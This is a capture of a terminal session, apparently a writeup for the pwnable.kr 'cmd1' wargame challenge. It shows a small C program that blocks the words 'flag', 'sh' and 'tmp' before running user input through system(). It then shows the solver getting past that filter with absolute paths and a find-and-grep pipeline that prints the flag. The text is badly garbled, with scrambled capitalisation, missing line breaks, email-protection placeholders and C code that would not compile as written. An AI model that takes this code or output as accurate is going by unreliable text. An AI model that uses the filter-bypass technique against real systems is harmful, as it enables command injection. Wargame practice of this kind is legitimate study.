[Email protected]:~$ lscmd1 cmd1.c flag[email protected]:~$ cat cmd1.c#include <stdio.h> #include <string.h> int filter (char* cmd) {int r=0;R + = strstr (cmd, "flag")!=0;R + = strstr (cmd, "sh")!=0;R + = strstr (cmd, "tmp")!=0;return r;} int main (int argc, char* argv[], char** envp) {Putenv ("Path=/fuckyouverymuch");if (filter (argv[1])) return 0;System (argv[1]);return 0;} [Email protected]:~$./cmd1 "ls" sh:1: Ls:not found[email protected]:~$./cmd1 "/bin/ls" cmd1 cmd1.c flag[email protecte d]:~$./cmd1 "/usr/bin/find". /cmd1./.bash_history/usr/bin/find: './.bash_history ': Permission denied./flag./cmd1.c[email protected]:~$./cmd1 "/ Usr/bin/find | /usr/bin/xargs/bin/grep "M" "/usr/bin/find: './.bash_history ': Permission deniedbinary file./cmd1 matches/bin/grep:./ . bash_history:permission Denied./flag:mommy now I Get what the PATH environment is for:)./cmd1.c:int filter (char* cmd) {./cmd 1.C:R + = strstr (cmd, "flag")!=0;. /CMD1.C:R + = strstr (cmd, "sh")!=0;. /CMD1.C:R + = strstr (cmd, "tmp")!=0;. /cmd1.c:int Main (int argc, char* argv[], char** envp) {./cmd1.c:Putenv ("Path=/fuckyouverymuch");. /CMD1.C:System (argv[1]); [Email protected]:~$ logoutconnection to pwnable.kr closed.
"LINUX" pwnable.kr cmd1 writeup
